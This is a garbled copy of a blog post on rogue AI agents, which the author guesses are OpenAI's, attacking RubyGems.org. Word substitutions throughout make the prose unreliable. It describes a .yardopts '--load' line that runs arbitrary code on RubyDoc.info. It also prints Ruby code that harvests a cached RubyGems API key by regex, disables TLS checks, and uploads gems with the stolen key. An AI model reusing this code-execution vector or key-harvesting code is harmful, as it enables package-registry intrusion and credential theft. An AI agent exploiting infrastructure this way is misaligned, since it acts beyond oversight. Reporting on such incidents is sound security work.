What a time to be alive – rouge AI agents attack RubyGems.org

Sep 14, 2026 07:40 PM - 1 hour ago 3

Today Reuters and the Wall Street Journal some reported astir rogue AI agents astatine OpenAI attacking RubyGems.org. https://www.rubyhack.ai/ has an astonishing writeup, and you should publication it. I conscionable wanted to make a speedy station astir it because it’s wild.

TL;DR: It seems for illustration OpenAI Bots knew astir this caching vulnerability, tried to return advantage of it, and astatine the aforesaid clip ran immoderate weird web scraping codification connected RubyDoc.info.

Back successful May, socket.dev reported astir a “GemStuffer Campaign” wherever personification (I conjecture OpenAI) was uploading tons of junk gems to RubyGems.org. For immoderate reason, the gems would scrape UK authorities websites, past repackage the information arsenic gems, and effort to upload them to RubyGems.

I honestly didn’t deliberation overmuch astir this (or moreover look into it) until Sydney Von Arx and Spencer Kitts (both co-authors connected https://www.rubyhack.ai) contacted maine asking astir RubyGems. I thought the claims they were making were wholly outlandish until I really publication the codification successful these “GemStuffer” gems.

After reference the codification successful these gems, a mates things stood retired to me.

YARD Documentation

First, the gems leverage YARD archiving to execute arbitrary codification connected big machines. In astir of the examples you’ll spot a .yardopts record that looks for illustration this:

--load ./script.rb README.md lib/**/*.rb

Here’s a nexus to an example.

If you person YARD installed, and you instal this gem, past YARD will load and tally immoderate is successful ./script.rb from wrong the gem. I deliberation it’s beautiful communal knowledge that C extensions will execute extconf.rb (so you fundamentally person an RCE vector), but I was amazed to find retired that a archiving instrumentality would do that too.

Nobody is going to instal a gem named slnleaker5 though, truthful why would this matter? Well, immoderate clip a Gem is published RubyDoc.info will download the gem and process the YARD documentation. RubyDoc.info will execute the arbitrary codification wrong a Docker container. The Docker instrumentality still has web entree though, truthful these gems could happily do their web scraping from wrong the container.

In different words, if you people a gem connected RubyGems.org, you tin execute arbitrary codification connected RubyDoc.info.

Fastly Cache Harvesting

I mentioned earlier these gems would effort to scrape immoderate websites and past upload the information they scraped by packaging it arsenic a gem. Here is an excerpt from 1 of the gems. I’ve cleaned up the codification a spot truthful it’s easier to understand, but the original codification is here:

# leak exfil by repeated attempts & caller leaked keys variants # (Aaron): First request ku = URI('https://rubygems.org'+kp) kh = Net::HTTP.new(ku.host,ku.port) kh.use_ssl = true kh.verify_mode = OpenSSL::SSL::VERIFY_NONE kt = kh.start { |x| x.get(ku.request_uri) }.body # (Aaron): Try to lucifer a cardinal successful the body key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY) paths = ['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems'] # (Aaron): Second petition to really people the gem u = URI('https://rubygems.org'+paths[i%paths.length]) req = Net::HTTP::Post.new(u) req['Authorization'] = key req['Content-Type'] = 'application/octet-stream' req.body = data hh = Net::HTTP.new(u.host,u.port) hh.use_ssl = true hh.verify_mode = OpenSSL::SSL::VERIFY_NONE hh.read_timeout = 180 res = hh.start{ |x| x.request(req) }

Comments successful the codification that person (Aaron) are ones that I wrote to effort to thief make it easier to understand. The first remark was lifted directly from the source. The supra codification tries to make 2 requests. The first petition is simply a elemental GET request. It tries to fetch a way from RubyGems.org, past looks for a cardinal successful the consequence assemblage that matches the regular look /rubygems_[a-f0-9]{20,}/. If that regular look doesn’t match, it falls backmost to a world KEY. The 2nd petition tries to upload the gem via POST.

This brings maine to the 2nd crazy point that stood retired to me. This codification is trying to fetch a cached authorization cardinal from RubyGems.org. If this sounds familiar, it is. It’s precisely the information rumor addressed in this station from RubyGems.org that was made successful July.

In different words, it looks for illustration OpenAI’s bots knew astir this problem and attempted to utilization it.

What a clip to beryllium live 🙃